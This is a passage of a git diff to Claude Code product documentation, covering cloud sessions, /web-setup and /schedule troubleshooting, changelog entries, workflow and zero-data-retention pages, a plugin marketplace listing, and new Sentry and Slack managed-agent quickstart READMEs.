dozen tools, but only two are visible to the model. The rest are internal RPC the CLI uses for its own UI — opening diffs, reading selections, saving files — and are filtered out before the tool list reaches Claude. +**Tools exposed to the model.** The server hosts a dozen tools, but only two are visible to the model. The rest are internal RPC the CLI uses for its own UI, such as opening diffs, reading selections, and saving files. They are filtered out before the tool list reaches Claude. -| Tool name (as seen by hooks) | What it does | Read-only | -| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------- | --------- | -| `mcp__ide__getDiagnostics` | Returns language-server diagnostics — the errors and warnings in VS Code's Problems panel. Optionally scoped to one file. | Yes | -| `mcp__ide__executeCode` | Runs Python code in the active Jupyter notebook's kernel. See confirmation flow below. | No | +| Tool name (as seen by hooks) | What it does | Read-only | +| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------ | --------- | +| `mcp__ide__getDiagnostics` | Returns language-server diagnostics: the errors and warnings in VS Code's Problems panel. Optionally scoped to one file. | Yes | +| `mcp__ide__executeCode` | Runs Python code in the active Jupyter notebook's kernel. See confirmation flow below. | No | -**Jupyter execution always asks first.** `mcp__ide__executeCode` can't run anything silently. On each call, the code is inserted as a new cell at the end of the active notebook, VS Code scrolls it into view, and a native Quick Pick asks you to **Execute** or **Cancel**. Cancelling — or dismissing the picker with `Esc` — returns an error to Claude and nothing runs. The tool also refuses outright when there's no active notebook, when the Jupyter extension (`ms-toolsai.jupyter`) isn't installed, or when the kernel isn't Python. +**Jupyter execution always asks first.** `mcp__ide__executeCode` can't run anything silently. On each call, the code is inserted as a new cell at the end of the active notebook, VS Code scrolls it into view, and a native Quick Pick asks you to **Execute** or **Cancel**. Cancelling, or dismissing the picker with `Esc`, returns an error to Claude and nothing runs. The tool also refuses outright when there's no active notebook, when the Jupyter extension (`ms-toolsai.jupyter`) isn't installed, or when the kernel isn't Python. The Quick Pick confirmation is separate from `PreToolUse` hooks. An allowlist entry for `mcp__ide__executeCode` lets Claude *propose* running a cell; the Quick Pick inside VS Code is what lets it *actually* run. diff --git a/content/en/docs/claude-code/web-quickstart.md b/content/en/docs/claude-code/web-quickstart.md index f34e44ceeb..ef2fc1586d 100644 --- a/content/en/docs/claude-code/web-quickstart.md +++ b/content/en/docs/claude-code/web-quickstart.md @@ -2,19 +2,19 @@ > Fetch the complete documentation index at: https://code.claude.com/docs/llms.txt > Use this file to discover all available pages before exploring further. -# Get started with Claude Code on the web +# Get started with Claude Code in the cloud > Run Claude Code in the cloud from your browser or phone. Connect a GitHub repository, submit a task, and review the PR without local setup. - Claude Code on the web is in research preview for Pro, Max, and Team users, and for Enterprise users with premium seats or Chat + Claude Code seats. + Cloud sessions are in research preview for Pro, Max, and Team users, and for Enterprise users with premium seats or Chat + Claude Code seats. -Claude Code on the web runs on cloud infrastructure instead of your machine, Anthropic-managed by default. Submit tasks from [claude.ai/code](https://claude.ai/code) in your browser or the Claude mobile app. +A cloud session runs Claude Code on cloud infrastructure instead of your machine, Anthropic-managed by default. This quickstart starts one from [claude.ai/code](https://claude.ai/code) in your browser. You can also start one from the Claude mobile app, the Desktop app, or your terminal with `claude --cloud`. You'll need a GitHub repository to [get started](#connect-github). Claude clones it into an isolated virtual machine, makes changes, and pushes a branch for you to review. Sessions persist across devices, so a task you start on your laptop is ready to review from your phone later. -Claude Code on the web works well for: +Cloud sessions work well for: * **Parallel tasks**: run several independent tasks at once, each in its own session and branch, without managing multiple worktrees * **Repos you don't have locally**: Claude clones the repo fresh every session, so you don't need it checked out @@ -36,19 +36,20 @@ The session doesn't close when the branch is pushed. PR creation and further edi ## Compare ways to run Claude Code -Claude Code behaves the same everywhere. What changes is where code executes and whether your local config is available. The Desktop app offers both local and cloud sessions, so its answers below depend on which you choose: +Claude Code behaves the same everywhere. What changes is where the session runs and whether your local configuration is available: -| | On the web | Remote Control | Terminal CLI | Desktop app | -| :------------------------------------------- | :------------------------------------------------------------------------------------------------------------- | :------------------------- | :--------------------- | :-------------------------- | -| **Code runs on** | Cloud VM, Anthropic-managed by default | Your machine | Your machine | Your machine or cloud VM | -| **You chat from** | claude.ai or mobile app | claude.ai or mobile app | Your terminal | The Desktop UI | -| **Uses your local config** | No, repo only | Yes | Yes | Yes for local, no for cloud | -| **Requires GitHub** | Yes, or [bundle a local repo](/docs/en/claude-code-on-the-web#send-local-repositories-without-github) via `--cloud` | No | No | Only for cloud sessions | -| **Keeps running if you disconnect** | Yes | While terminal stays open | No | Depends on session type | -| **[Permission modes](/docs/en/permission-modes)** | Accept edits, Plan, Auto | Manual, Accept edits, Plan | All modes | Depends on session type | -| **Network access** | Configurable per environment | Your machine's network | Your machine's network | Depends on session type | +| | Cloud session | Local session | Local session with [Remote Control](/docs/en/remote-control) | +| :------------------------------------------- | :------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------- | +| **Code runs on** | Cloud VM, Anthropic-managed by default | Your machine | Your machine | +| **You start it from** | claude.ai/code, the Claude mobile app, the Desktop app with **Cloud** selected, or `claude --cloud` | Your terminal, your IDE, or the Desktop app with **Local** selected | Your terminal, the VS Code extension, or the Desktop app | +| **You chat from** | claude.ai, the mobile app, or the Desktop app | Where you started it | claude.ai or the mobile app, as well as where you started it | +| **Uses your local config** | No, repo only | Yes | Yes | +| **Requires GitHub** | Yes, or [bundle a local repo](/docs/en/claude-code-on-the-web#send-local-repositories-without-github) via `--cloud` | No | No | +| **Keeps running if you disconnect** | Yes | No | While the session stays open on your machine | +| **[Permission modes](/docs/en/permission-modes)** | Accept edits, Plan, Auto | All modes in the terminal; see [Switch permission modes](/docs/en/permission-modes#switch-permission-modes) for the IDE and Desktop app | Manual, Accept edits, or Plan from claude.ai and the mobile app | +| **Network access** | Configurable per environment | Your machine's network | Your machine's network | -See the [terminal quickstart](/docs/en/quickstart), [Desktop app](/docs/en/desktop), or [Remote Control](/docs/en/remote-control) docs to set those up. +See the [terminal quickstart](/docs/en/quickstart), [Desktop app](/docs/en/desktop), or [Remote Control](/docs/en/remote-control) docs to set up local sessions. ## Connect GitHub @@ -85,7 +86,7 @@ Connecting GitHub is a one-time step. If you already use the GitHub CLI, you can ### Connect from your terminal -If you already use the GitHub CLI (`gh`), you can set up Claude Code on the web from your terminal. This requires the [Claude Code CLI](/docs/en/quickstart). On Team and Enterprise plans, `/web-setup` is available only after an Owner turns on [Quick web setup](/docs/en/claude-code-on-the-web#github-authentication-options). +If you already use the GitHub CLI (`gh`), you can connect GitHub for cloud sessions from your terminal. This requires the [Claude Code CLI](/docs/en/quickstart). On Team and Enterprise plans, `/web-setup` is available only after an Owner turns on [Quick web setup](/docs/en/claude-code-on-the-web#github-authentication-options). When you run `/web-setup`, Claude Code reads the token that `gh auth token` prints, asks you to confirm, and sends the token to Anthropic. Anthropic stores it encrypted with your claude.ai account, and your cloud sessions use it for GitHub access until you [remove it](#remove-the-web-setup-token). A cloud session can then access any repository that token can access, with no Claude GitHub App installation. @@ -115,7 +116,7 @@ If you already connected GitHub in the browser, `/web-setup` warns you that cont /web-setup ``` - Confirm the prompt to send your `gh` token to your Claude account. On success, Claude Code prints `Connected as ` and opens [claude.ai/code](https://claude.ai/code) in your browser. If you don't have a cloud environment yet, `/web-setup` creates one with Trusted network access and no setup script. You can [edit the environment or add variables](/docs/en/cloud-environments#configure-your-environment) afterward. Once `/web-setup` completes, you can start cloud sessions from your terminal with [`--cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web) or set up recurring tasks with [`/schedule`](/docs/en/routines). + Confirm the prompt to send your `gh` token to your Claude account. On success, Claude Code prints `Connected as ` and opens [claude.ai/code](https://claude.ai/code) in your browser. If you don't have a cloud environment yet, `/web-setup` creates one with Trusted network access and no setup script. You can [edit the environment or add variables](/docs/en/cloud-environments#configure-your-environment) afterward. Once `/web-setup` completes, you can start cloud sessions from your terminal with [`--cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud) or set up recurring tasks with [`/schedule`](/docs/en/routines). @@ -206,11 +207,11 @@ If you connected with `/web-setup`, sessions reach every repository your `gh` to ### The page only shows a GitHub login button -Cloud sessions require a connected GitHub account. Connect via the browser flow above, or run `/web-setup` from your terminal if you use the GitHub CLI. If you'd rather not connect GitHub at all, see [Remote Control](/docs/en/remote-control) to run Claude Code on your own machine and monitor it from the web. +Cloud sessions require a connected GitHub account. Connect via the browser flow above, or run `/web-setup` from your terminal if you use the GitHub CLI. If you'd rather not connect GitHub at all, see [Remote Control](/docs/en/remote-control) to run Claude Code on your own machine and monitor it from your browser or phone. ### "Not available for the selected organization" -Enterprise organizations may need an Owner to enable Claude Code on the web. Contact your Anthropic account team. +Enterprise organizations may need an Owner to enable cloud sessions. Contact your Anthropic account team. ### `/web-setup` says "Not signed in to Claude" @@ -228,11 +229,16 @@ If `/web-setup` says your GitHub CLI token doesn't have the `workflow` scope, yo If you typed it inside Claude Code and the command menu shows `No commands match "/web-setup"`, or submitting it returns `Unknown command: /web-setup`, the command is hidden because a requirement isn't met. The cause is usually that you're authenticated with an API key or third-party provider instead of a claude.ai subscription. Run `/login` to sign in with your claude.ai account. -On Team and Enterprise plans, the command is hidden by default: the [Quick web setup toggle](/docs/en/claude-code-on-the-web#github-authentication-options) is off until an Owner turns it on. While it's off, [connect GitHub from the browser](#connect-github) instead. The command is also hidden when an administrator has disabled Claude Code on the web for your organization, or when your Enterprise organization has [Zero Data Retention](/docs/en/zero-data-retention) enabled, which makes Claude Code on the web unavailable. +On Team and Enterprise plans, the command is hidden by default: the [Quick web setup toggle](/docs/en/claude-code-on-the-web#github-authentication-options) is off until an Owner turns it on. While it's off, [connect GitHub from the browser](#connect-github) instead. + +The command is also hidden in two other cases: + +* An administrator has disabled cloud sessions for your organization. In this case, submitting `/web-setup` returns [`Cloud sessions are disabled by your organization's policy`](/docs/en/errors#cloud-sessions-are-disabled-by-your-organizations-policy). Before v2.1.268, this case also returned `Unknown command: /web-setup`. +* Your Enterprise organization has [Zero Data Retention](/docs/en/zero-data-retention) enabled, which makes cloud sessions unavailable. ### "Could not create a cloud environment" or "No cloud environment available" when using `--cloud` -Remote-session features create a default cloud environment automatically if you don't have one. If you see "Could not create a cloud environment", automatic creation failed. If you see "No cloud environment available", your CLI predates automatic creation. In either case, run `/web-setup` in the Claude Code CLI, or add an environment from the [environment selector](/docs/en/cloud-environments#configure-your-environment) at [claude.ai/code](https://claude.ai/code). +Cloud session features create a default cloud environment automatically if you don't have one. If you see "Could not create a cloud environment", automatic creation failed. If you see "No cloud environment available", your CLI predates automatic creation. In either case, run `/web-setup` in the Claude Code CLI, or add an environment from the [environment selector](/docs/en/cloud-environments#configure-your-environment) at [claude.ai/code](https://claude.ai/code). ### Setup script failed @@ -262,7 +268,7 @@ This is by design. Closing the tab or navigating away doesn't stop the session. Now that you can submit and review tasks, these pages cover what comes next: starting cloud sessions from your terminal, scheduling recurring work, and giving Claude standing instructions. -* [Use Claude Code on the web](/docs/en/claude-code-on-the-web): the full reference, including teleporting sessions to your terminal, session sharing, and auto-fixing pull requests +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): the full reference, including teleporting sessions to your terminal, session sharing, and auto-fixing pull requests * [Configure cloud environments](/docs/en/cloud-environments): network access levels, environment variables, and setup scripts for cloud sessions * [Routines](/docs/en/routines): automate work on a schedule, via API call, or in response to GitHub events * [CLAUDE.md](/docs/en/memory): give Claude persistent instructions and context that load at the start of every session diff --git a/content/en/docs/claude-code/web-scheduled-tasks.md b/content/en/docs/claude-code/web-scheduled-tasks.md index a5e891c2a3..b3cbc90e3d 100644 --- a/content/en/docs/claude-code/web-scheduled-tasks.md +++ b/content/en/docs/claude-code/web-scheduled-tasks.md @@ -134,7 +134,7 @@ For a custom interval such as every two hours or the first of each month, pick t #### Schedule a one-off run -A one-off schedule fires the routine a single time at a specific timestamp. Use it to remind yourself later in the week, to open a cleanup PR after a rollout finishes, or to kick off a follow-up task when an upstream change lands. After the routine fires, it auto-disables and the web UI marks it as **Ran**. To run it again, edit the routine and set a new one-off time. +A one-off schedule fires the routine a single time at a specific timestamp. Use it to remind yourself later in the week, to open a cleanup PR after a rollout finishes, or to start a follow-up task after an upstream change ships. After the routine fires, it auto-disables and the web UI marks it as **Ran**. To run it again, edit the routine and set a new one-off time. Create a one-off run from the CLI by describing the time in natural language. Claude resolves the phrase against the current time and confirms the absolute timestamp before saving. @@ -377,18 +377,17 @@ One-off runs do not count against the daily routine cap. They draw down your reg `/schedule` returns "Unknown command"

-The CLI hides `/schedule` when one of its requirements isn't met: the command menu shows `No commands match "/schedule"` while you type, and submitting it returns `Unknown command: /schedule` in every case below except a Console API key or an Anthropic profile with feature-flag fetching enabled. The cause is usually one of the following: +The CLI hides `/schedule` when one of its requirements isn't met: the command menu shows `No commands match "/schedule"` while you type. Submitting it returns `Unknown command: /schedule`, except in the cases below that note a different answer. -* You are authenticated with a Console API key, an [Anthropic profile or federation credential](/docs/en/authentication#anthropic-profiles-and-federation-credentials), or a cloud provider such as Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. `/schedule` requires a claude.ai subscription login. With a Console API key or a profile, submitting `/schedule` instead shows `/schedule is available with Claude for Enterprise — ask your admin about migrating from API-key access`. With a cloud-provider login, you still see `Unknown command: /schedule`. If `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` is set in your shell, or `apiKeyHelper` is set in `settings.json`, remove it first, since these take precedence over a claude.ai login. A profile or federation credential takes precedence too, so switch that off as well -* You are inside a Claude Code on the web session. Manage routines from the [web UI](https://claude.ai/code/routines) instead -* Your organization's policy disables [Claude Code on the web](/docs/en/claude-code-on-the-web), which routines run on -* An Owner [turned off routines](#routines-are-disabled-by-your-organizations-policy) for your Team or Enterprise organization. Before v2.1.227, the command still appeared in this case, and claude.ai rejected the routine when Claude tried to create or run it - -Unless your organization's policy disables routines or Claude Code on the web, you can create and manage routines at [claude.ai/code/routines](https://claude.ai/code/routines) regardless of how the CLI is configured. +The cause is usually one of the following: -### `/schedule` asks you to authenticate +* You are authenticated with a Console API key, an [Anthropic profile or federation credential](/docs/en/authentication#anthropic-profiles-and-federation-credentials), or a cloud provider such as Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. `/schedule` requires a claude.ai subscription login. With a Console API key or a profile, and feature-flag fetching enabled, submitting `/schedule` instead shows `/schedule is available with Claude for Enterprise — ask your admin about migrating from API-key access`. With a cloud-provider login, you still see `Unknown command: /schedule`. If `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` is set in your shell, or `apiKeyHelper` is set in `settings.json`, remove it first, since these take precedence over a claude.ai login. A profile or federation credential takes precedence too, so switch that off as well +* You are fully signed out, with no API key or other credential. With feature-flag fetching enabled, submitting `/schedule` shows `/schedule requires a claude.ai subscription. Run /login to sign in with your claude.ai account.` Before v2.1.268, a signed-out session showed the same Claude for Enterprise message as a Console API key +* You are inside a cloud session. Manage routines from the [web UI](https://claude.ai/code/routines) instead +* Your organization's policy disables [cloud sessions](/docs/en/claude-code-on-the-web), which routines require. In this case, submitting `/schedule` answers [`Cloud sessions are disabled by your organization's policy`](/docs/en/errors#cloud-sessions-are-disabled-by-your-organizations-policy) instead. Before v2.1.268, it returned `Unknown command: /schedule` +* An Owner [turned off routines](#routines-are-disabled-by-your-organizations-policy) for your Team or Enterprise organization. Before v2.1.227, the command still appeared in this case, and claude.ai rejected the routine when Claude tried to create or run it -If `/schedule` runs but Claude responds that you need to authenticate with a claude.ai account first, the CLI has no stored claude.ai login. API accounts aren't supported for routines. Run `/login`, sign in with your claude.ai account, then run `/schedule` again. +Unless your organization's policy disables routines or cloud sessions, you can create and manage routines at [claude.ai/code/routines](https://claude.ai/code/routines) regardless of how the CLI is configured.

"Routines are disabled by your organization's policy" diff --git a/content/en/docs/claude-code/whats-new/2026-w14.md b/content/en/docs/claude-code/whats-new/2026-w14.md index 443de1ae1d..8bd0f5a593 100644 --- a/content/en/docs/claude-code/whats-new/2026-w14.md +++ b/content/en/docs/claude-code/whats-new/2026-w14.md @@ -126,7 +126,7 @@
Auto mode follow-ups: new PermissionDenied hook fires on classifier denials (return retry: true to let Claude try a different approach), and /permissions → Recently denied lets you retry manually with r
New defer value for permissionDecision in PreToolUse hooks: -p sessions pause at a tool call and exit with a deferred\_tool\_use payload so an SDK app or custom UI can surface it, then resume with --resume
/buddy: hatch a small creature that watches you code. An April Fools' joke, no longer available
-
disableSkillShellExecution setting blocks inline shell from skills, slash commands, and plugin commands
+
disableSkillShellExecution setting blocks inline shell from skills, custom commands, and plugin commands
Edit tool now works on files viewed via cat or sed -n without a separate Read
Hook output over 50K saved to disk with a path + preview instead of injected into context
Thinking summaries off by default in interactive sessions (showThinkingSummaries: true to restore)
diff --git a/content/en/docs/claude-code/whats-new/2026-w20.md b/content/en/docs/claude-code/whats-new/2026-w20.md index 7268978fb3..79b2b84839 100644 --- a/content/en/docs/claude-code/whats-new/2026-w20.md +++ b/content/en/docs/claude-code/whats-new/2026-w20.md @@ -83,7 +83,7 @@
New continueOnBlock config option for PostToolUse hooks feeds the hook's rejection reason back to Claude and continues the turn instead of ending it
New terminalSequence field in hook JSON output lets hooks emit desktop notifications, window titles, and bells without a controlling terminal
The Rewind menu added "Summarize up to here" to compress earlier context while keeping recent turns intact
-
Remote Control, /schedule, Claude.ai MCP connectors, and notification preferences are now disabled when ANTHROPIC\_API\_KEY, apiKeyHelper, or ANTHROPIC\_AUTH\_TOKEN is set, even alongside a Claude.ai login; unset the API key to use these features
+
Remote Control, /schedule, claude.ai MCP connectors, and notification preferences are now disabled when ANTHROPIC\_API\_KEY, apiKeyHelper, or ANTHROPIC\_AUTH\_TOKEN is set, even alongside a claude.ai login; unset the API key to use these features
MCP stdio servers now receive CLAUDE\_PROJECT\_DIR in their environment, matching hooks, and plugin configs can reference \${"{"}CLAUDE\_PROJECT\_DIR{"}"} in commands
claude plugin details \ shows a plugin's component inventory and projected per-session token cost, and the /plugin details pane now also lists the LSP servers a plugin provides
Plugins with a root-level SKILL.md and no skills/ subdirectory are now surfaced as a skill
diff --git a/content/en/docs/claude-code/whats-new/index.md b/content/en/docs/claude-code/whats-new/index.md index 94971a4240..12f7a50159 100644 --- a/content/en/docs/claude-code/whats-new/index.md +++ b/content/en/docs/claude-code/whats-new/index.md @@ -43,7 +43,7 @@ The weekly dev digest highlights the features most likely to change how you work **Auto-continue after a usage limit on Desktop**: when you hit your session limit in Claude Code Desktop, check **Auto-continue when limits reset** on the limit card and the app retries the interrupted turn once the limit resets. - Also this week: **fork mode** is on by default in interactive sessions, so Claude can hand a side task to a subagent that inherits the full conversation; **GitLab** merge request URLs work with `--worktree` and the `claude agents` view, and marketplaces clone bare `gitlab.com` URLs; and typing **`@`** in the prompt mentions another Claude session by name. + Also this week: **fork mode** is on by default in interactive sessions, so Claude can delegate a side task to a subagent that inherits the full conversation; **GitLab** merge request URLs work with `--worktree` and the `claude agents` view, and marketplaces clone bare `gitlab.com` URLs; and typing **`@`** in the prompt mentions another Claude session by name. [Read the Week 33 digest →](/docs/en/whats-new/2026-w33) diff --git a/content/en/docs/claude-code/workflows.md b/content/en/docs/claude-code/workflows.md index 78c64de47a..e2fee307d1 100644 --- a/content/en/docs/claude-code/workflows.md +++ b/content/en/docs/claude-code/workflows.md @@ -27,7 +27,7 @@ Reach for a workflow when a task needs more agents than one conversation can coo | Scale | A few delegated tasks per turn | Same as subagents | A handful of long-running peers | Dozens to hundreds of agents per run | | Interruption | Restarts the turn | Restarts the turn | Teammates keep running | Resumable in the same session | -A workflow moves the plan into code. With subagents, skills, and agent teams, Claude is the orchestrator: it decides turn by turn what to spawn or assign next, and every result lands in a context window. A workflow script holds the loop, the branching, and the intermediate results itself, so Claude's context holds only the final answer. +A workflow moves the plan into code. With subagents, skills, and agent teams, Claude is the orchestrator: it decides turn by turn what to spawn or assign next, and every result goes into a context window. A workflow script holds the loop, the branching, and the intermediate results itself, so Claude's context holds only the final answer. Moving the plan into code also lets a workflow apply a repeatable quality pattern, not just run more agents: it can have independent agents adversarially review each other's findings before they're reported, or draft a plan from several angles and weigh them against each other, so you get a more trustworthy result than a single pass. @@ -61,7 +61,7 @@ The quickest way to see a workflow in action is to run `/deep-research`, the [bu - When the run finishes, the report lands in your session. It cites the sources each claim came from, with claims that didn't survive cross-checking already filtered out. + When the run finishes, the report appears in your session. It cites the sources each claim came from, with claims that didn't survive cross-checking already filtered out. When the verifier agents can't check a claim, such as after a rate limit or API error, the report lists that claim as unverified instead of counting it as refuted. @@ -261,7 +261,7 @@ use a workflow to migrate every component under src/components/ from JavaScript ### Review every changed file and write one summary -Run a reviewer per file, then hand all the findings to one agent that ranks and deduplicates them. +Run a reviewer per file, then pass all the findings to one agent that ranks and deduplicates them. ```text wrap theme={null} use a workflow to review every file changed in this PR for correctness issues, then merge the per-file findings into one ranked summary diff --git a/content/en/docs/claude-code/zero-data-retention.md b/content/en/docs/claude-code/zero-data-retention.md index 000b773f1c..6ee6f7e002 100644 --- a/content/en/docs/claude-code/zero-data-retention.md +++ b/content/en/docs/claude-code/zero-data-retention.md @@ -53,14 +53,13 @@ ZDR does not extend to the following, even for organizations with ZDR enabled. T When ZDR is enabled for a Claude Code organization on Claude for Enterprise, certain features that require storing prompts or completions are automatically disabled at the backend level: -| Feature | Reason | -| ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | -| [Claude Code on the Web](/docs/en/claude-code-on-the-web) | Requires server-side storage of conversation history. | -| [Cloud sessions](/docs/en/desktop#cloud-sessions) from the Desktop app | Requires persistent session data that includes prompts and completions. | -| [Claude Tag](/docs/en/claude-tag) | Retains channel memory and session transcripts. | -| [Artifacts](/docs/en/artifacts) | Requires storing published page content on Anthropic-operated infrastructure. | -| Feedback submission (`/feedback`, `/bug`, `/share`) | Submitting feedback sends conversation data to Anthropic. | -| [Remote Control](/docs/en/remote-control) | Stores the session transcript on Anthropic servers to sync the conversation across devices. | +| Feature | Reason | +| ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------- | +| [Cloud sessions](/docs/en/claude-code-on-the-web), including those started from the [Desktop app](/docs/en/desktop#cloud-sessions) | Requires server-side storage of session data, including conversation history with prompts and completions. | +| [Claude Tag](/docs/en/claude-tag) | Retains channel memory and session transcripts. | +| [Artifacts](/docs/en/artifacts) | Requires storing published page content on Anthropic-operated infrastructure. | +| Feedback submission (`/feedback`, `/bug`, `/share`) | Submitting feedback sends conversation data to Anthropic. | +| [Remote Control](/docs/en/remote-control) | Stores the session transcript on Anthropic servers to sync the conversation across devices. | These features are blocked in the backend regardless of client-side display. If you see a disabled feature in the Claude Code terminal during startup, attempting to use it returns an error indicating the organization's policies do not allow that action. diff --git a/content/github/claude-plugins-official/.claude-plugin/marketplace.json b/content/github/claude-plugins-official/.claude-plugin/marketplace.json index 314242f6bb..3dd38e4dea 100644 --- a/content/github/claude-plugins-official/.claude-plugin/marketplace.json +++ b/content/github/claude-plugins-official/.claude-plugin/marketplace.json @@ -1865,6 +1865,22 @@ "category": "productivity", "source": "./external_plugins/imessage" }, + { + "name": "informatica-for-claude-platform", + "description": "Governed catalog discovery for Informatica Intelligent Data Management Cloud (CDGC): find tables, columns, files, glossary terms and policies across the enterprise catalog, check ownership, certification, sensitivity and applicable policy, and get safe-usage guidance grounded in catalog metadata before querying any data. Requires an Informatica IDMC tenant and the Informatica Catalog Discovery connector.", + "author": { + "name": "Informatica" + }, + "category": "database", + "source": { + "source": "git-subdir", + "url": "https://github.com/forcedotcom/informatica-claude-plugins.git", + "path": "informatica-for-claude-platform", + "ref": "main", + "sha": "554d02e0f7f2adafeaeeedbde04435b7bd310a47" + }, + "homepage": "https://github.com/forcedotcom/informatica-claude-plugins/tree/main/informatica-for-claude-platform" + }, { "name": "intercom", "description": "Intercom integration for Claude Code. Search conversations, analyze customer support patterns, look up contacts and companies, and install the Intercom Messenger. Connect your Intercom workspace to get real-time insights from customer data.", @@ -3426,24 +3442,6 @@ }, "homepage": "https://github.com/slackapi/slack-mcp-plugin/tree/main" }, - { - "name": "small-business", - "displayName": "Small Business", - "description": "Pre-built small business workflows to help you run and grow your business. Supports a majority of the tools you already use. You approve every step that touches money or customers. Install and then ask Claude to help you get onboarded.", - "author": { - "name": "Anthropic", - "email": "support@anthropic.com" - }, - "category": "productivity", - "source": { - "source": "git-subdir", - "url": "https://github.com/anthropics/knowledge-work-plugins.git", - "path": "small-business", - "ref": "main", - "sha": "3d99e004d06916952983ae17c18a0dec0cee0255" - }, - "homepage": "https://github.com/anthropics/knowledge-work-plugins/tree/main/small-business" - }, { "name": "snowflake-cortex-code", "description": "Automatically route Snowflake prompts from Claude Code to Cortex Code for execution. Provides slash commands for code review and task delegation, plus skills for routing, run, and setup.", diff --git a/content/github/claude-quickstarts/README.md b/content/github/claude-quickstarts/README.md index df5716413d..cb9d01a1cc 100644 --- a/content/github/claude-quickstarts/README.md +++ b/content/github/claude-quickstarts/README.md @@ -62,6 +62,18 @@ A deal-room knowledge wiki built with Claude Managed Agents. This project demons [Go to Managed Agents Knowledge Wiki Quickstart](./managed-agents/knowledge-wiki) +### Managed Agents: Sentry + +A scheduled Sentry triage agent built on Claude Managed Agents. This project demonstrates a deployment that starts a session on a cron schedule with no host process, and a vault environment-variable credential that lets `sentry-cli` authenticate inside the sandbox while the real token stays outside it: the egress proxy substitutes it only on requests to Sentry's hosts. + +[Go to Managed Agents Sentry Quickstart](./managed-agents/sentry) + +### Managed Agents: Slack + +A Slack bot backed by a Claude Managed Agent. This project demonstrates a stateless webhook bridge: an `@mention` creates a Managed Agents session with the channel and thread stored in session metadata, and the `session.status_idled` webhook reads that metadata back to post the reply in-thread. There is no database and no long-lived connection. + +[Go to Managed Agents Slack Quickstart](./managed-agents/slack) + ## General Usage Each quickstart project comes with its own README and setup instructions. Generally, you'll follow these steps: diff --git a/content/github/claude-quickstarts/managed-agents/README.md b/content/github/claude-quickstarts/managed-agents/README.md index 0ca1732441..eae896f157 100644 --- a/content/github/claude-quickstarts/managed-agents/README.md +++ b/content/github/claude-quickstarts/managed-agents/README.md @@ -50,3 +50,18 @@ Projects built on [Claude Managed Agents](https://platform.claude.com/docs/en/ma container so each session mounts a memory store at `/mnt/memory` and syncs it back, and keeps the environment key out of the containers with a per-session token. + +- **[sentry/](sentry/)** runs a Sentry triage agent on a schedule + with no host process. A deployment starts a session on a cron + expression, the agent pulls the last 24 hours of issues with + `sentry-cli`, and writes a severity-ranked report. The Sentry token + lives in a vault: the sandbox holds only a placeholder, and the + egress proxy swaps in the real token on requests to Sentry's API + hosts and nowhere else. + +- **[slack/](slack/)** answers `@mentions` in Slack with a threaded + reply, over a stateless Bun webhook bridge. The Slack event creates + a session with the channel and thread stored in session `metadata`, + the handler acks inside Slack's 3-second window, and the + `session.status_idled` webhook reads that metadata back to post the + reply. No database and no held connection. diff --git a/content/github/claude-quickstarts/managed-agents/sentry/CLAUDE.md b/content/github/claude-quickstarts/managed-agents/sentry/CLAUDE.md new file mode 100644 index 0000000000..96b15bd93c --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/sentry/CLAUDE.md @@ -0,0 +1,17 @@ +# Sentry triage × Claude Managed Agents + +Scheduled deployment: cron → Managed Agents session with `sentry-cli` and a vault env-var credential → triage report in `/mnt/session/outputs/`. + +## When the user asks to set this up, get it working, or debug it + +1. **Invoke `/claude-api` first.** That skill loads the full Managed Agents API reference (agents, sessions, environments, events, webhooks, deployments, vaults, memory stores). Use it as the source of truth for any SDK call you write or edit. Don't guess field names. +2. **Read `./skill.md`** and walk the user through it step by step. It has the ordered checklist, every gotcha (two separate host allowlists, immutable `secret_name`, replace-only `allowed_hosts`, DST cron semantics, auto-pause on permanent failures), and the debugging table. +3. **After the base schedule works, offer extensions.** Ask the user which (if any) they want, then edit `agents/sentry-triage/*.yaml` and re-run `./agents/setup.sh`, which pushes the edit as a new agent version and re-pins the deployment, and/or edit `deploy.py` for the deployment side. A new resource is a new YAML file in `agents/sentry-triage/` plus one more create/update block in `setup.sh`, copied from the ones already there. + - **Deliver the report** instead of leaving it in the sandbox: a `session.status_idled` webhook that downloads the report and posts to Slack (see [`../slack`](../slack) for the bridge pattern) + - **More CLIs**: add other env-var-authenticated CLIs as additional vault credentials, one credential per token with its own host allowlist (another `ant beta:vaults:credentials create` block in `setup.sh`) + - **Outcomes**: rubric-graded iterate loop (`user.define_outcome` event instead of `user.message` in `initial_events`) + - **Memory store**: track issue history across runs so the agent can flag regressions it has seen before (add `agents/sentry-triage/memory-store.yaml` and an `ant beta:memory-stores create` block in `setup.sh`, then `resources: [{type: "memory_store", ...}]` on the deployment) + + Pull exact shapes from the `/claude-api` skill's `shared/managed-agents-*.md` docs. + +Provisioning is `./agents/setup.sh`: it creates the vault, credential, environment, and agent from `agents/sentry-triage/*.yaml` with the `ant` CLI, writes their IDs to `.env`, and on re-runs pushes YAML edits onto the same resources and re-pins the deployment. Schedule with `uv run python deploy.py`. Smoke-test with `uv run python run_now.py`. diff --git a/content/github/claude-quickstarts/managed-agents/sentry/README.md b/content/github/claude-quickstarts/managed-agents/sentry/README.md new file mode 100644 index 0000000000..447a4a9330 --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/sentry/README.md @@ -0,0 +1,55 @@ +# Sentry triage × Claude Managed Agents + +A scheduled [Managed Agent](https://platform.claude.com/docs/en/managed-agents/overview) that pulls the last 24 hours of Sentry issues with `sentry-cli` and writes a prioritized triage report. No host process: the cron schedule lives server-side as a deployment. + +``` +cron (0 9 * * 1-5) ──▶ deployment ──▶ session (sandbox) + │ sentry-cli / curl with + │ placeholder token + ▼ + egress proxy: placeholder → real token, + Sentry API hosts only + ▼ + TRIAGE_REPORT.md in /mnt/session/outputs/ +``` + +The Sentry token is an 